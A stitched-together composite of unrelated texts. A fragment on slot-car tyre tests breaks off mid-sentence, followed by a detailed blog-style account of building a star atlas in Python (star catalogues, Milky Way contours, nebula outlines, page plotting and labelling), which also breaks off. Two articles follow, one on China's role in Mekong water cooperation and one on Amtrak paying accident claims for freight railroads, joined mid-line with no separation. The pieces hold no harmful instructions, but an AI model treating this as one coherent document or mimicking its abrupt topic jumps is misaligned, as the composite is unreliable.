With tyre upgrades being common for club racing, running some laps after increasing mechanical grip also struck us as the ideal way to highlight the handling differences between these models – we opted for hand-out friendly Slot.it N18 tyres as these could be snapped on quickly and simply, requiring no gluing, truing, or any treatment.
What surprised us here was that the tyre change didn’t reduce the lap times as much as we’d expected. However, |
Representation of objects (marker shapes, sizes, etc.)
Consistency (especially colour, line width, and font size)
I wanted to mix the best ingredients of these atlases, building around these main ideas:
A layout similar to the one of Uranometria 2000.0
Colours similar to Interstellarum Deep Sky Atlas
Milky way contours similar to Sky Atlas 2000.0
And then add the following refinements / improvements into the mix:
Slightly larger field of view (FOV) than in Uranometria 2000.0 with the full sky on 344 A4 – or alternatively B4 – pages (1.6 cm per degree or 1.9 cm per degree)
Non-stellar objects are printed to scale (down to a cutoff size), line width and fill colour relating to the actual brightness
Legible colour scheme: avoid using red since it is invisible under red light
Precise Milky Way representation (unlike in any printed atlas)
Clever navigation between pages
Hand-drawn bright and dark nebula outlines from scratch
Nice custom typography
Vector graphics
Automated label placement
Automated compilation of the full atlas by a press of the button
Flexible script (change FOV, magnitude limit, colours with ease)
I will go over all these aspects in detail in the following section and explain step-by-step how I built the atlas. As it is not 100% done yet, I will also note down the features that still need to be completed or refined in the (hopefully) near future. I started working on this during the first days of March, and by the middle of April most of the things that I am going to discuss here were done. Since then I spent less time on the project and took care of minor refinements only.
3. Practical execution – techniques and design aspects
3.1 Python setup
I am using a very basic setup installed via Canopy. My main environment is python 2.7, and I make use of the following packages extensively:
numpy for all kinds of data handling and numerical operations
pylab / matplotlib for all the main plotting operations
basemap for the mapping (takes care of the projection and the related transformations)
scipy for some specific interpolations and contours connected to the Milky Way
astropy and pyephem for celestial coordinate transformations
3.2 Source data
All databases that I am using are either publicly available from the internet (under various licences), or they are compiled by me from publicly available data (which is discussed in the following sections).
3.3 Custom, and compiled / processed databases
While some of the data can be used as is (for example the data of constellation boundaries and lines), most data needs to be first processed in a way or another before it is ready to be plotted. There are three large groups that need to be dealt with: stellar data, milky way contour data, and deep sky data (with a large stress on extended bright and dark nebulae).
3.3.1 Stellar database
Building the stellar database is taken care of inside the main plotting script (which will be discussed in detail in Section 3.4). Every time the script is executed, it checks if a precompiled magnitude limited stellar database is already available, and if not, it builds it from the databases discussed in Section 3.2. When the script is ran with a given magnitude limit for the first time, a new magnitude limited database must to be compiled, which happens in multiple stages (and at a magnitude limit of 10.0 it takes ~3 hours to complete):
Tycho-2 data read in and magnitude limit applied (after computing V magnitudes from the available BT and VT magnitudes), magnitude limited Tycho-2 data saved. Bright Star Catalog (BSC) data read in, magnitude limit applied, names formatted to a pylab / LaTeX compatible format (so when annotating later on, proper Greek characters will appear automatically), magnitude limited BSC data saved. General Catalogue of Variable Stars (GCVS) data read in, stars in maximum dimmer than the magnitude limit thrown out, stars with an amplitude less than 0.1 mag (rounded to 1 decimal) are thrown away, and stars of some selected types such as Novae and Supernovae are thrown out, names formatted, then the remaining data is filtered and formatted, magnitude limited GCVS data is saved. The filtered GCVS data is used to update the filtered Tycho-2 data. First the GCVS coordinates are cross-matched one-by-one with the Tycho-2 coordinates (within 6″). There are three possible outcomes of this match:
a) there are multiple Tycho-2 stars within 6″ from the coordinates of a given GCVS star (which happens sometimes in crowded areas), then we use the maximum magnitude information to match the Tycho-2 magnitudes, and update the best matching Tycho-2 entry with minimum and maximum magnitudes, the GCVS name, and a variability flag = 1
b) there is only one match (which is the most common case), when life is easy, the GCVS entry is for that Tycho-2 star, so we add the magnitudes, the variable name, and the variability flag = 1 to the Tycho-2 entry
c) there is no match (a rare case, but happens, e.g. when an irregular variable was much dimmer during the Hipparcos measurements then the magnitude limit, but on a longer period it can get brighter), then we need to add the GCVS star as it is to the compiled catalog, because it is not yet in the magnitude limited Tycho-2 sample.
After this is done, the magnitude limited database with variability information is saved, and later on in the plotting stage stars with a variability flag = 1 will be plotted with a spacial symbol. In the next step, this database is updated with multiplicity information (in our case a multiplicity flag, and a separation value for the two brightest components). The reason for this is that for stars that appear closer to each other than a threshold (in our case this is set to be 60″), we do not want to plot each component, only the brightest one with a special symbol, which is common practice in stellar atlases. (Small not here: at this point, components that are closer to each other than 0.8″ are not included, but resolving stars that are so narrowly separated is practically impossible visually and/or without professional telescopes and exceptional weather conditions.) This is also done in multiple steps:
a) stars are ordered from brightest to dimmest, each given a multiplicity flag = 0 to start with
b) starting from the brightest we check each star one-by-one if there are other (dimmer) stars within 60″ from it
c) if yes, then the brightest component (A) gets a multiplicity flag = 1 and the dimmer component(s) (B,…) get(s) a multiplicity flag = -1
d) in the next steps only stars with multiplicity flag!= -1 are tested as potential components, which means that, e.g., we will not identify a dimmer star later on as primary component when it was already found to be a secondary component of a brighter star earlier
e) later on in the plotting stage only those stars will be plotted where the multiplicity flag is not -1, and from these the stars where the multiplicity flag = 1 will be plotted using a special symbol.
When this is done, the data file is saved (now containing a magnitude limited Tycho-2 database that is updated with variability and multiplicity information). This step takes the longest time of all by a significant margin. In the last step this database is updated with names from the precompiled magnitude limited BSC file that was saved in step 2, similarly to how the GCVS entries were matched in step 4, but with a slightly higher tolerance in the coordinate match (to adjust for the possible apparent merging of multiple stars’ coordinates in step 5). Then this database is saved as the final stellar database of the atlas.
At this stage here is how a small section of the compiled stellar database looks like with a pair of coordinates, a pair of proper motions, a visual magnitude (which is a maximum brightness for variables), a variability flag, a possible minimum brightness (set to 99.000 for non variable stars), a multiplicity flag, a separation value of the brightest components for stars that have a multiplicity flag of 1 (otherwise set to 0.000), and a name (excluding the abbreviation of the constellation) in LaTeX format:
3.3.2 Contours of the Milky Way
One of the main new features of my atlas (compared to other atlases on the market) is the inclusion of the (as) precise (as possible) contours of the Milky Way on its pages. For this I had to make my own data. I started from the APOD of the Milky Way by Nick Risinger (for which I still need to ask permission if I want to get this atlas distributed). I scaled this up slightly to 3600×1800 pixels (to match the 360×180 degree size of the full sky with a 0.1 degree pixel size), converted it to grayscale, applied a star-removal filter, a small blur, and enhanced the contrast slightly. Then using python I converted it to an array of brightness data on the galactic coordinate grid, and after a coordinate transformation from the galactic to the equatorial frame I saved it in a numpy specific file format using the numpy.savez() function.
This specific format is needed because reading in a 150 MB ASCII file is too slow with numpy, and it would create a bottleneck in speed when plotting the atlas pages. I use this brightness data later during the plotting and display it using contours set at some cleverly specified brightness levels to create a both visually pleasing and highly-realistic image of the Milky Way. The results are very nice, e.g., one can see multiple brightness levels even inside the Magellanic Clouds (as it can be seen below, but for the sake of clarity plotted using stronger colours than what is actually used in the atlas).
I also tested if the coordinates of the original image were correct by repeating the same steps but without removing the stars, so one could actually see the stars on the contour plot too. In this experiment they lined up perfectly with the actual stellar data, confirming that the position data in the Milky Way image was correct.
3.3.3 Deep sky objects (contours of extended bright and dark nebulae)
The SAC database is a good starting point, since it has a great selection of objects that are accessible with a various range if amateur instruments. On the other hand, it has quite a few mistakes too, so I had to work on it a bit to make it more consistent and less messy. First of all I checked all objects that have an apparent size larger than 12′ (twice the cutoff size of my atlas) manually in DSS using the Aladin desktop client, and corrected sizes and/or position angles where I found it necessary (only a few cases). I also removed all duplicate entries from the database (which occurred with quite a few galaxies: many had multiple entries from different catalogues). I also decided to filter out those objects that had no useful/trustworthy brightness information (dropping mostly small open clusters that were barely identifiable on the DSS images anyway), and those open clusters that appeared too large on the scale of the atlas (typically the ones above 100′-120′, depending on the density of the field). Finally, I made sure that for Messier objects the Messier entry is used as name later on, not the NGC one. These were the easier parts.
The more difficult and time consuming part (taking around 40-50 hours) was drawing all bright and dark nebulae from the SAC database larger than 6′-12′ (meaning that 100% of the objects that are at 12′ or larger in diameter had to be drawn, and some of the smaller non-symmetric ones too), which I had to do manually, along with a few missing ones that I found worthy by looking through images in Aladin or by cross-checking with the selection on Sky Atlas 2000.0’s pages. (I am aware that there is a set of nebula outlines available online by Mark Smedley and Jan Kotek, but I did not find these good enough for my needs, and I did not want to copy other people’s data to begin with, because nebula outlines are one of those elements of an atlas that make it personal.) In practice I used Aladin to draw the contours of these objects with a mouse (I wish sometimes that I had a proper tablet and a digital pencil to do such things…), and export them as coordinate arrays.
For the brighter ones I tried to make the contours resemble the visual look based on drawings done by amateurs, while for the more difficult targets I went with the expected photographic outlines. It helped a lot that Aladin can create contour plots on the displayed images, leading my eyes while tracking the outlines. (For this I used the Mellinger Optical Survey and the DSS layers.) Some complex or large nebulae are drawn in multiple sections, for example the Vela Supernova Remnant in 22 pieces, IC 1318 in 14 pieces, and Sh2-240 in 42 pieces. Here is a rough example how this process looks like in Aladin:
3.4 Plotting one page of the atlas
There is one single python script that takes care of the plotting of a single page of the atlas (plot_map.py). At the moment it is 1545 lines long, and contains – among others – 16 custom functions (some of which will be discussed later).
3.4.1 Arguments and control variables
To control what and how is plotted by the script, I am using a small set of arguments, and a larger set of variables (that I like to call control variables). These are separate for a good reason. Arguments can be given (values) simply from the terminal when running the script, and as such they can be also set by a higher level python script when compiling the whole atlas (see Section 3.5). These set the centre of the field of view, the output format (vector – pdf, or raster – png), and optionally the page number along with the page numbers of the pages that show the field above and below (thus up and down in declination) the current page in the atlas. These last three are optional, and when not given the script will simply produce a sky chart without the extra formatting of an atlas page.
On the other hand control variables have to be set inside the main script, and they control the colours, size and magnitude limits, the different types of objects that need to be plotted, the field of view, etc. These stay the same for each page.
Later on when closeup charts and chart index pages are created I will save a different version for each (e.g., plot_map_closeup.py and plot_map_index.py), where the limited magnitude, and a few other things will be set differently.
3.4.2 Colours and typography
When choosing the colours I experimented a bit with different colour combinations, but the main principles were always the same. I had to avoid red because it is invisible when the chart is browsed using a red torch (and this is common practice, since red light interferes the least with our dark-adapted eyes), and I wanted colours that go well together, but are easy to distinguish. At the end I choose my palette from Google’s material design guide.
When choosing the individual colours, the following ideas were factored into my decisions. First of all, I wanted the Milky Way to be plotted as shades of blue, not only because that looks great in Sky Atlas 2000.0, but also because the most prominent structures in a galaxy – the spiral arms – consist of young massive stars, and they are predominantly blueish in colour. As a consequence all galaxies had to be plotted in blue. Groups of stars are yellow as in most other colour atlases, but globular clusters are orange, since these are dominated by old(er), low-mass stars, and thus their light (spectrum) is more shifted towards this colour. Planetary nebulae are green, because the strongest emission line in their spectrum in the range where our eyes are the most sensitive is the [OIII] line at 500.7 nm, which appears to be green. Even though other types of bright nebulae might have different spectra (especially bright reflection nebulae), they are also plotted green (although a slightly different hue) to stay consistent. Stars are black and map-related lines are different shades of grey.
Outlines are always darker than the fill colours, and while the outline colours are constant, the line width and the opacity of the fill depend on the magnitude of a given object. Labels are always the same colour as the labelled objects’ outline.
I am using the Open Sans font family throughout the atlas, this is a nice, free, slightly narrower than default sans serif font with an extensive set of glyphs (including all necessary accented and Greek characters), that provides excellent legibility in many font sizes and weights (of which I am using the regular and bold variants).
3.4.3 Vertical layering
One important thing to handle when printing the chart is the vertical layering (or hierarchy) of the different object types, but also the vertical layering within a given object type. This way we can avoid larger objects overlapping – and blocking from view – smaller ones. Therefore, for example, the Milky Way needs to be plotted under everything else, dark nebulae need to be plotted over bright nebulae, small galaxies need to be plotted over large galaxies (otherwise, e.g, M 32 in the Andromeda Galaxy would not even be visible), stars need to be plotted over deep sky objects (so they are not covered by extended objects), and dim stars need to be plotted over bright stars (otherwise some dim stars close to bright stars could be covered by the larger disk of the bright star).
Placing different object types on different vertical layers is taken care using the zorder keyword inside any king of plotting command in python, while the required hierarchy within a given object type is ensured by sorting the objects according to size (from large to small, or from bright do dim in the case of stars), which means that when they are plotted by a plotting routine later on, they will be plotted according to the order they were sorted into. There are some special cases where the plotting order of open clusters and bright nebulae needs to be flipped (where a larger open cluster includes a smaller bright nebula), but this is also taken care of with a zorder-modifier value in the database of the hand-drawn nebulae, which effectively moves the given nebula to a layer above the open cluster.
3.4.4 Setting up the page
Before plotting any celestial data, we need to set up the plotting environment to be able to work with celestial coordinates. As already mentioned before, I use the basemap library to do this:
map = Basemap(projection=’stere’, width=fov_ra, height=fov_dec, lat_ts=central_dec, lat_0=central_dec, lon_0=360-(central_ra*15), celestial=True, rsphere=180/math.pi)
By using the celestial=True setting we make sure that we use the astronomical conventions for longitude (negative longitudes to the East of zero), and by setting the radius of the sphere to be 180/pi we can give the horizontal and vertical size of the area covered in the projection in degrees.
Like most celestial atlases I also use the stereographic projection. This is a conformal projection, meaning that it preserves the angles, but it does not preserve distances or areas. (There is no projection which would preserve all of these.) While indeed towards the edges equal distances seem to get larger, this effect is practically negligible at zoom levels that are used in a celestial atlas like this one.
After the map environment is set, we need to draw the grid of latitude and longitude lines (using the ICRS frame and a standard J2000.0 epoch), and I make sure that none of these lines get too dense as we get close to the poles, by tapering selected meridian lines before they reach the poles (see below). The density of the labelled meridian lines is also set by the distance from the pole, so labels never get too dense around the edges of the map area.
After the celestial grid is set up, I draw the ecliptic and the galactic equator along with the ecliptic and galactic poles, and small tick markers for each degree along the equator lines. Drawing the equators is very easy, one just needs to transform a constant (ecliptic or galactic) latitude = 0° line from ecliptic or galactic coordinates to equatorial coordinates, and plot the resulting array as a line. When drawing the poles, I draw their X shaped markers from two separate perpendicular lines (crossing at the poles) which point towards longitudes 0°, 90°, 180°, and 270°, this way, e.g., when looking at the galactic poles the reader can see how the galactic coordinate frame is rotated very differently compared to the equatorial grid.
As we are trying to produce not only a simple sky chart but a page in a stellar atlas, we also need to plot page numbers, navigation aids, and a legend box. Page numbers are plotted in the top and bottom outside corners (from a double page point of view), which makes it easy to flip through the atlas when looking for a page number. There is also a special navigation bar plotted along the outer edge of each page. This navigation bar shows the central RA coordinate of the page, the minimum and maximum declination values of the page, and also the page number(s) of the closest neighbouring page(s) in declination (a.k.a. the pages above and below the current field). The location of this feature along the edge of the page depends on the central declination of the page. This means that just by looking at the edge of the closed atlas, or while flipping through it, the user can immediately see which region of the sky they are heading towards from the position of the navigation bar. (For example, on a page towards the North Celestial Pole this bar will be near the top of the edge of the page, while for pages around the Celestial Equator it will be at its centre.)
Creating the legend box gave birth to probably the most interesting solution (in terms of coding) in the production of the atlas. In the following sections I will show that I set the size of all objects on the map using angles (angular diameters), and not by using marker sizes (in points or pixels) as done by default in python. This is very useful in the main map area of the page, but it meant that I had no idea how large an actual marker was when not working in a map instance. Therefore I could not simply create a simple subplot below the main map area and place the different symbols and their keys there without writing transformation functions to make sure that the size scales between the legend area and the main map area match. Instead of this, I created a 1 degree tall subplot with the same basemap settings (so also the same width in degrees, resulting in the same scale) as the main map area above, meaning that I could use the same functions and scales to plot objects here as I do in the main plot. Creating the legends themselves afterwards was only a question of placing a set of given objects next to each other, making sure that they are properly spaced, and that their labels are at the same horizontal levels. Odd and even pages got different legend boxes, so a double page always shows a full set of legends (stellar objects and lines on the left hand page, and deep sky objects on the right hand side – see examples later on).
I do not want to discuss all the remaining details here, but every piece of text (e.g., page numbers, the numbers in the navigation box, etc.) is aligned with other lines or texts in a very strict way to ensure symmetry at all times, no matter what area of the sky is being plotted. There was a very large effort put into this, even though the reader might not (consciously) notice these fine details.
3.4.5 Plotting stellar data
I have written one single function to handle the plotting of stars, from the simplest single stars to multiple variable systems with high proper motions:
draw_screen_star(ra, dec, pm_ra, pm_dec, pmlimit, mag, maglimit, map, double=0, sep=0, variable=0, vmin=0, facecolor=’k’, edgecolor=’w’, zorder=90)
Stars are plotted from bright to dim as mentioned earlier. All plotting is done in map (sky) coordinates, meaning that the symbol sizes are given in degrees, and there is an inverse linear scale between symbol radius and magnitude value. All stars are plotted with a white edge, so if symbols of nearby stars overlap, they remain nicely visible.
The width of this wide edge is set to be the narrowest well visible line width in print (matching the width of the lines of the celestial grid), while the smallest stars’ size is set by the symbol of the dimmest variable star (where the black central region needs another white filling, which must be still well visible). The size of the largest star is set to be aesthetically pleasing (not too small so bright stars can be well differentiated from dim ones, but not too large so they do not became overly extended). This also sets the other fix point of the linear magnitude scale. On the figure below you can see various tests of the star plotting function, with one notable example of a set of stars plotted on top of each other where the magnitudes range from -2 to 10 with a step size of 1 (resulting in a nice well separated pattern).
In practice, taking the example of a variable double star (where the star is also visible in minimum, so, e.g., the 3rd star from the left in the row of multiple variable stars), this is how the star symbol is created: first a white circle is plotted and a white bar across (these will be the white outlines), then a narrower black line (corresponding to the separation of the brightest components of the multiple system) and a black circle with a smaller radius (corresponding to the brightness of the variable star in maximum), followed by another white circle with a smaller radius (the inner fill of the variable), and finally a smaller black circle (with a radius corresponding to the minimum brightness of the star). If the star has a high proper motion, it is also plotted with an arrow in the background. In summary, the symbol of a star is built from a set of pylab.patches (circles, polygons, and fancyarrows).
Not strictly speaking stellar data, but I note here that constellation boundaries and stick figures are also plotted using simple lines. It is worth noting that to avoid plotting the overlapping sections of neighbouring constellations’ borders twice (which could introduce artefacts in the representation of dashed lines), I am using a version of this data where the duplicate line sections were removed.
3.4.6 Plotting non-stellar data
Similar to the stars, all deep sky objects are plotted in sky coordinates using specific functions that I have written for each different object type so I can feed sizes in arc minutes into them. The symbols are again made from various pylab.patches (ellipses, wedges, and rectangles) inside these functions. As an example, the symbol of global clusters is made out of four wedges that have a 90° opening angle (instead of trying to draw a nice cross inside a circle, which believe me is not as easy as it sounds). But outside of the function drawing a GC looks simply like this:
draw_screen_gcsymbol(ra, dec, size,map, **kwargs)
Objects are plotted to scale when larger than a cutoff size (6′ in the LSA), otherwise they are plotted at given (smaller) fix sizes depending on which size-bin they fall inside the category. As mentioned earlier, the edge line width and the fill colour represents the visual brightness of a given object. The orientation (position angle, or PA) of galaxies is plotted true to reality, and to do this the local North had to be calculated at each position in the map (with a small function), which was then used to correct the PA coming from the SAC catalog (since on our map North is only ‘up’ along the central longitude of each page – except for right above the North and right below the South Celestial Poles, where the apparent direction of North along the central meridian is inverted).
I have kept most of the classical symbols, with the exception that planetary nebulae that are larger than the cutoff size (so planetary nebula that are plotted to scale) are plotted with a doughnut symbol (symbolising the classical PN look). Size bins were chosen so they are more or less equally populated by the smaller objects.
3.4.7 Labelling objects
The last large task in creating a page in the atlas is labelling all plotted objects. My original goal was a fully automated setup based on the adjustText package, but this seems to be a much larger challenge to implement than first thought. The package works relatively well when labelling a set of small points or a set of objects that have the same size, but things get complicated when one wants to label a mix of patch objects (that have various sizes) and lines… Therefore after some experimenting I decided to put the automatisation attempts aside, and write a labelling graphical user interface (GUI). In any case even if the automated labelling would work, I would need this GUI to be able to make refinements in the label placements.
The main idea is that I run a slightly modified version of the original plot_map.py script (label_map.py, updated with the functions that make up the GUI), which produces an interactive version of the given page where I can just click on the labels (that are placed at the bottom right corner of each object by default as a starting point) and manipulate them. Using the GUI I can move labels (this way I can place them in a way that there is no overlap between objects and labels), I can make labels disappear (should a region be too busy for all labels to be visible), and I can even add in additional labels (to label the constellations, the poles, and the Magellanic Clouds – since they are plotted using the Milky Way contours and not as separate objects with their own label entries). When the GUI is run for the first time, all plotted objects are also fed into the
appendtolabellist(ra, dec, name, colour, size, rotation=0, visibility=1)
function, which builds a label table (from the names that were already available both in the stellar database and in the deep sky database) for the given page (placement positions, label texts, sizes, colours, rotation values – that are used for the labels of the ecliptic and galactic equator -, and a visibility flag), that I can modify with the GUI, and export it to be used by the main plot_map.py script. See part of such a label table below for a dense Southern part of Scorpion.
If the label table is available for a given page when the plot_map.py script is used, labels will be also plotted. The advantage of having an actual label table (so a file like labels_P_004.txt for Page 4) for each page is that I can also modify label texts and sizes manually to fine-tune details for the final version, without having to edit the original object databases.
Of course since now I have to move almost all labels around manually, it takes a while to make the label table for a page (even with a good default offset from the corresponding symbol, there are so many stars that the chance that the default placement will overlap with something is pretty big). In practice this can be anything from ~20 minutes to 2 hours depending on how dense the filed is… My estimate is that labelling all pages would easily require 300 hours of work. Or I need to come up with a clever solution and write an advanced function to move the labels around automatically, but this seems equally difficult to me right now. So for the time being I labelled 5 sample pages that can be seen in Section 4, and depending on the future distribution of the atlas (proper printed version or only on-line for free), I will see how much effort and what kind of effort I need/want to put into labelling the rest.
The animation below shows how the formatting and the different layers of objects come together to form one page of the atlas.
3.5 Plotting the whole atlas in one go
Plotting the whole atlas is taken care by a separate script called plot_atlas.py: this is only 91 lines long, and has a very limited amount of tasks to do. First of all it has a list of the central coordinates of the atlas pages (given as an equidistant list of declinations, and for each declination a list of right ascensions).
From this the script compiles the set of arguments that were discussed in Section 3.4.1 for each page by first building a list of page numbers and central coordinates, then calculating the closest (neighbouring) pages in declination (to North and South) for each page, which are stored as the pageup and pagedown values, respectively. Finally the script simply calls the plot_map.py script for each page – feeding the corresponding list of arguments to it – to initiate their production one-by-one (or four-by-four when using all available cores).
The whole process takes around 4 hours on my laptop (using 4 cores in parallel). This time could actually be still shortened quite significantly, because right now all data files (e.g., the magnitude limited stellar catalog, or the deep sky catalog) are read in for each page over and over again, instead of just keeping them in the memory after the first read in operation. This originates from the fact that the plot_map.py script is written as a standalone script that can produce a page of a stellar atlas or a simple star map from scratch (and even compile databases from existing databases as we have seen it earlier) if necessary, and not only as a plotter routine. I do not think that I will change this, because 4 hours for a full atlas is not a lot (and in practice you do not do this very often anyway).
At the end I have a tidy ordered set of pages in the output folder. The size difference between the different pages shows nicely which pages have a larger number of objects plotted on them.
4. Sample pages and statistics
At the current stage, these are the numbers for the Leuven Star Atlas (for more details, see Section 3.3):
Total number of stars: 361980 (down to and including magnitude 10.0)
Variable stars: 6998
Multiple (visual or physical) systems: 6411
Total number of deep sky objects: 8690
Galaxies: 6768
Galaxy clusters: 29
Globular clusters: 156
Open clusters: 644
Planetary nebulae: 742
Bright nebulae: 154 (of which 134 have hand-drawn outlines – many of these actually cover multiple NGC objects, thus the total number of plotted catalog entries is higher)
Dark nebulae: 197 (of which 163 have hand-drawn outlines)
The full sky is displayed on 344 A4 pages (1.6 cm per degree of declination resolution), five of which can be downloaded in pdf by clicking on the example rasterised images below.
Page 4: Northern Ursa Minor
Page 55: Cygnus around NGC 7000 (North America Nebula)
Page 113: The Pleiades and the border of Taurus and Perseus
Page 136: Galaxies in Virgo and Coma Berenices
Page 272: Southern Scorpius
5. Future plans
The atlas is at a stage now where most of the larger work-packages are already completed, but there is still some work to be done before it can be printed into a nice book. A lot depends on whether I can actually get this published. I am determined to finish it and have a few copies printed in any case for myself and a few friends, but without an actual publication deadline, this will probably not happen next week, or the week after…
These are the components that are still missing or need completion:
Labelling the remaining 339 pages. As mentioned earlier this could take me minimum 300 hours of work… (Or ~8 full time work weeks, or a year if I just do one page every day.)
Close-up maps of selected dense regions: this means that I need to compile a stellar database down to ~11.0-11.5 magnitudes (press of a button, I do not need to change anything in my scripts), and implement a zoom-in factor (a scale multiplier that could be 2, 3, or 4), which I can use to modify, e.g., the field of view, and the cutoff sizes of deep sky objects. I could do this most likely in a day.
Refinements in the deep sky object database: I still need to clean up a smaller mess in the Large and Small Magellanic Clouds, because I am not happy about the completeness of the database there (another day of work, but I have already drawn quite a few bright nebula there too), and I am also not satisfied with the number of galaxy clusters on the map right now, so I would like to extend that based on the original Abell+ data (I guess I could also do this in one or maximum two days). In general, a small extension might be necessary to the deep sky database in general, but this is up for some further considerations.
Nicer constellation stick figures (as mentioned already earlier). This will take a bit longer (1-3 days), because I have to build a data file for this from scratch, and it is 100% manual work.
Index charts: I need to create 6 pages (looking towards the poles, and the four cardinal directions) with a large field of view showing only the brightest stars, the constellations, and the borders of the fields covered by the individual atlas pages labelled with the page numbers, as these overview charts provide the basic navigation feature of any stellar atlas. To make this I need a stellar database down to ~5.5 magnitudes (press of a button), a function that draws the outline of the sky that is displayed on given atlas pages (maximum an hour of work), and some labelling, so in total this will not take more than a day again.
An introduction chapter describing the use of the atlas, object types, etc. Also an index to the most interesting objects (Messier, Herschel 400, etc.) pointing to the atlas pages that contain them. This will probably be work for a week or two, since it includes quite some writing and |
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While more needs to be done between these countries to resolve disputes and encourage transparency over dam building and shared water management, the agreement signals a greater willingness to discuss areas of discord that have soured relations in the region in the past.
During their meeting in in China’s southern province of Yunnan in November 2015, the foreign ministers of China, Myanmar, Laos, Thailand, Cambodia, and Vietnam launched the Lancang-Mekong Cooperation Mechanism (LMCM), an initiative pitched at the November 2014 Summit Meeting between China and the Association of Southeast Asian Nations (ASEAN) in Naypyidaw, Myanmar.
According to Wang Yi, the Chinese foreign minister, the new mechanism will cover five priority areas: interconnectivity, production capacity, cross-border economic cooperation, water resources and cooperation on agriculture and poverty reduction.
The new mechanism’s purview is much broader than other initiatives, such as the Greater Mekong Subregion (GMS), which has the same membership.
Most striking is the inclusion of cooperation on water resources, an issue which has been far outside the remit of the GMS.
In the past, where water resources have been the focus of cooperation – primarily through the Mekong River Commission (MRC) – China has been reluctant to become a member (although it has been a dialogue partner).
China is the upstream and most powerful country in many transboundary river basins. It has therefore been called an ‘upstream superpower’. In the Mekong and elsewhere, China has so far been disinclined to sign water treaties or set up river basin organisations.
While the new Mekong cooperation mechanism remains far from being a river basin organisation, it is notable that China has now been a driver behind an initiative which explicitly includes water issues within its remit.
So what conclusions can we draw from this development?
Most importantly, this reflects the increasing importance and urgency Chinese leaders’ attach to hydropower and politics. As Yu Xuezhong, a senior Chinese hydro-environmental scientist, has noted, water in the Mekong region is seen as “the most basic resource and also a national strategic resource with crucial implications”.
Water-related issues therefore have mounting potential to derail China’s ‘good-neighbourly diplomacy’.
Mainland Southeast Asia is China’s strategic and economic backyard and a key testing ground for China’s ‘peaceful development’ approach as well as its ‘One Belt, One Road’ initiative.
With the exception of Vietnam, the Mekong countries have been strong advocates of China’s growing role in regional affairs. This is in sharp contrast to many countries of maritime Southeast Asia, which accuse China of encroachment in the South China Sea.
Yet the Mekong has also caused trouble for China’s government in recent years.
As China has decided unilaterally to construct several large-scale dams on the river’s mainstream, many people in downstream countries have complained about negative environmental impacts, as well as risks to food security and the livelihoods of some 60 million people living in the basin.
In August 2008, a flood in the northern parts of Laos and Thailand was linked by some to China’s Jinghong dam on the river in Yunnan, which had begun to generate hydropower earlier that summer.
In early 2010, China was confronted with unparalleled criticism of its dam building after record low water levels in the Mekong led to smaller fish catches, less water for irrigated agriculture, livestock and drinking and suspended river transportation affecting trade and tourism. The media and NGOs blamed the operators of the large reservoir behind China’s Xiaowan dam for aggravating severe drought conditions at the time.
As a result, China had to switch to a mode of diplomatic ‘damage control’ in order to calm the waves. China took unprecedented steps by sharing dry season hydrological data from two of its mainstream dams (Manwan and Jinghong) during the crisis and invited Mekong country representatives to visit the Jinghong dam for a tour of inspection.
Since then, criticism has shifted to dam-building projects in Laos on the Mekong mainstream. However, China remains well aware that its own schemes are under increasing scrutiny – not least because Chinese companies are heavily involved in downstream dam-building plans.
What is more, China’s leaders realise that their strategic and economic backyard has become increasingly contested. In particular, the US has established its own sub-regional cooperation mechanism, the Lower Mekong Initiative (LMI), in 2009. While the impact of the initiative has been small in the Mekong, it has raised concerns in Beijing, where it is seen as part of a broader US strategy to limit Chinese influence in the region.
Against this background, by establishing close cooperation with the five other Mekong countries, China intends to play a more active and positive role in water resources management and cooperation in the Mekong region more generally.
In doing so, China hopes to shape the rules of cooperation and make sure that external actors are excluded. Tellingly, Wang Yi has referred to the LMCM as the ‘baby’ of the six countries.
Zhang Jiuhuan, vice chairman of the China Public Diplomacy Association and a former Chinese ambassador to Thailand, said that downstream countries “concerned about the implications of the dam construction upstream…could raise the issue for consultation with countries upstream”. At the same time, however, Wang Yi has made clear that the LMCM should generally “discuss easy issues first” and evolve in a gradual and project-driven manner.
There are some tangible benefits that could enhance much-needed transparency and trust over water issues in the region. While the following suggestions are my own, the importance of increasing transparency and trust is also acknowledged by many Chinese experts and resonates with downstream countries:
First, China should revise its data sharing policy. It remains hard to understand why dry season hydrological data and sediment load are regarded as state secrets linked to China’s national security. In fact, such data would be very beneficial for downstream countries in various ways, including improving adaptability to possible short-term changes in water flow volumes.
Second, as dam building will most likely continue, China should embark upon a strategy of prior notification and conduct impartial environmental impact assessments and follow up on their findings.
Third, in the long run China and its riparian neighbours should negotiate common and equitable rules of water resources management, which reflect their respective geographical positions (but not necessarily their respective power capabilities), which can one day lead to the inking of binding water treaties.
If these steps materialise under the umbrella of the new mechanism, this would indeed mark a new, and positive, chapter in China’s international hydro-politics.There has never been a full accounting of these payments. Even Amtrak officials could not say how much the arrangement, known as indemnification, has cost the railroad, which needed $1.2 billion in government subsidies this year to stay afloat.
But an analysis by The Times of records obtained through the federal Freedom of Information Act found that Amtrak has paid more than $186 million since 1984 for accidents blamed entirely or mostly on others. In each instance, freight railroads were accused of playing the major or a contributing role in causing those accidents, which killed 53 people and injured nearly 1,300, according to court records, government investigators and lawyers for crash victims.
Most of those accidents were not covered by Amtrak's insurance, an Amtrak spokesman said. And the $186 million reflects only part of Amtrak's costs stemming from accidents. The figure does not include payments made before 1984, outstanding claims from recent accidents, settlements of less than $100,000, the cost of repairing damaged Amtrak equipment and legal bills for defending the freight railroads in court.
These indemnity agreements represent another way in which some of the nation's freight railroads side-step responsibility in accidents. In July, The Times reported that railroads had destroyed, mishandled or simply lost evidence in grade-crossing accidents and had also failed to properly report hundreds of accidents to federal authorities.
Freight railroads have long had the political muscle to insist that Amtrak, which is beholden to Congress for its survival, indemnify them for accident claims. In 1997, after a federal judge questioned the legality of granting railroads blanket immunity, Congress rose to the defense of the freight railroads, passing a bill that, among other things, reaffirmed Amtrak's legal right to indemnify the freight lines.
Two years later, Amtrak officials said they had no choice but to cover $63.8 million in punitive damages, including interest, after CSX was found to have caused a fatal Amtrak crash in Lugoff, S.C. A judge called CSX's negligence "borderline criminal."
"It's a bitter pill to swallow," said an Amtrak spokesman, Cliff Black. "It hurts our bottom line. It hurts our treasury."
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Amtrak says it has received about $8 billion in government support over the last decade, and last year alone paid about $100 million to use their tracks.
The freight railroads say indemnification merely protects them from risks they would not face if Congress had not insisted that Amtrak, which owns little track of its own, use their rails. Congress, CSX said in a statement, "balanced that demand on private property by calling upon passenger railroads to bear the costs of insuring against potential liabilities."
